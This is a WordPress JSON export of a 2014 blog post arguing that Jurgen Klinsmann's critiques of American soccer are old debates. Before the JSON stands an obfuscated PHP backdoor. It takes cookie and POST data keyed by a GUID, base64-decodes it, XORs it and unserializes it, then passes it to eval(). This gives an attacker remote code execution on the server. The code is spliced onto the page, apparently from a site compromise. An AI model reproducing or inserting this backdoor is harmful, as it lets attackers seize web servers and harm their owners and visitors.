$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":2255,"date":"2014-10-17T08:25:24","date_gmt":"2014-10-17T12:25:24","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=2255"},"modified":"2014-10-17T10:49:49","modified_gmt":"2014-10-17T14:49:49","slug":"the-alexi-lalas-problem","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=2255","title":{"rendered":"The American Soccer Conversation Problem"},"content":{"rendered":"

Those of us who have followed soccer in the U.S. for many years have gotten used to former men\u2019s national team player, former general manager, and current broadcaster Alexi Lalas taking up whatever opinion suited him at the moment. It\u2019s what makes him a divisive figure, among other things. But at halftime of last night\u2019s MLS game on ESPN2, ~~he outdid himself<\/del> I thought he outdid himself.<\/p>\n~~

While he argued both sides of the Juergen Klinsmann-Don Garber kerfuffle, he<\/del>\u00a0Taylor Twellman pointed out that Klinsmann was hardly the first men\u2019s national team manager to bring up issues such as where America\u2019s top players should ply their trade to best maximize their talent. Less than a minute later, as Lalas\u00a0and Taylor Twellman took the obvious line of \u201cit\u2019s good to have these conversations,\u201d Lalas\u00a0credited Klinsmann for asking questions that we haven\u2019t heard before.<\/p>\n

I initially thought Lalas had made the first point, but have re-watched the video and see he didn\u2019t contradict himself. Even though I was initially wrong on that, an important question remains \u2013 is Klinsmann really asking questions we haven\u2019t heard before? He also said some of these questions are ones we don\u2019t want to hear the answers to. I disagree with that. We\u2019ve heard all the answers and then some.<\/p>\n

In recent weeks, Klinsmann\u00a0has been lauded by some for addressing promotion\/relegation, speaking \u201ctruth\u201d to how Landon Donovan didn\u2019t reach his true potential by staying in MLS and criticizing Clint Dempsey and Michael Bradley for making a similar decision after their years in Europe.<\/p>\n

These aren\u2019t new conversations. They aren\u2019t even interesting conversations. These topics have been well worn for years. They were staples of the heyday of Big Soccer. Hell, I had to endure the \u201cplayers in Europe are by default better than MLS\u201d back in 1997 in a bar in Hanover, Pa., when some clown told me how the future of the national team rested on the shoulders of Jovan Kirovski alone simply because he played on ManU\u2019s reserves.<\/p>\n

Klinsmann has done nothing new. Every topic he has addressed has an easily accessible history for anyone with access to Google. Maybe they are important topics to him, but they are hardly new, and the opinions expressed by both sides are far from ground-breaking.<\/p>\n

And this is why Lalas needs a new schtick.\u00a0American soccer fans have discussed these things to death. That\u2019s not to say there\u2019s nothing to discuss and American soccer is sitting pretty with no obstacles on their way to world domination. Let\u2019s just use some critical thinking skills to focus on some other things.<\/p>\n

Like why does Klinsmann only criticize the career path of 2-3 players? If he\u2019s such a big picture guy, why does he zoom in on Donovan (personal connection), Dempsey (spurned his advice) and Bradley (father was former coach)? Why not lambast Graham Zusi and Matt Besler for a long-term pledge to MLS? Why not wax poetic on the decisions of Mixx Diskerud of Aron Johansson? Why not tell us all the bad moves Timmy Chandler has made? Twellman did bring that up some, but we need more of this.<\/p>\n

And why focus just on what the players do? Why not take on the culture in Europe which still makes it harder for US players to truly succeed? Why not issue a challenge to managers who ditch Americans so often at the first bump in the road? Why not take on agents who sometimes have no Plan B when their player\u2019s first stop doesn\u2019t work out?<\/p>\n

Instead of people worrying about promotion and relegation \u2013 a pipe dream \u2013 why not take a look at youth programs that invest in the development academy program, but offer nothing substantive beyond the U-18 level? Why not encourage those teams to get involved in USL PRO or the NPSL? Why only focus on how MLS teams develop players?<\/p>\n

Why simply pillory MLS for playing through FIFA international dates when that practice is actually growing in other countries? Brazil played through this break. Costa Rica had a full schedule the day after a friendly. The Copa Sudamericana\u00a0played its Round of 16 during the break!\u00a0\u00a0Maybe the discussion should be on scheduling in general instead of \u201cGarber sucks.\u201d<\/p>\n

We shouldn\u2019t ignore the fact that a career in Europe can do good things for some players, but we also shouldn\u2019t focus on picking the nits out of this one subject that is far more complex than the current discussion allows. And the people who pretend they are thought leaders shouldn\u2019t pretend this is a new conversation. Maybe we need to send some of them to Europe to learn how to truly discuss the sport.<\/p>\n<\/body>","protected":false},"excerpt":{"rendered":"

NOTE: The headline and first few paragraphs are different than when I first posted this. I swore Alexi Lalas said something that Taylor Twellman said. But my main points stand \u2013 Klinsmann is not talking about anything new when there…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"nf_dc_page":"","footnotes":""},"categories":[19],"tags":[],"class_list":["post-2255","post","type-post","status-publish","format-standard","hentry","category-soccer","wpcat-19-id"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/2255","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2255"}],"version-history":[{"count":4,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/2255\/revisions"}],"predecessor-version":[{"id":2259,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/2255\/revisions\/2259"}],"wp:attachment":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2255"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2255"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2255"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}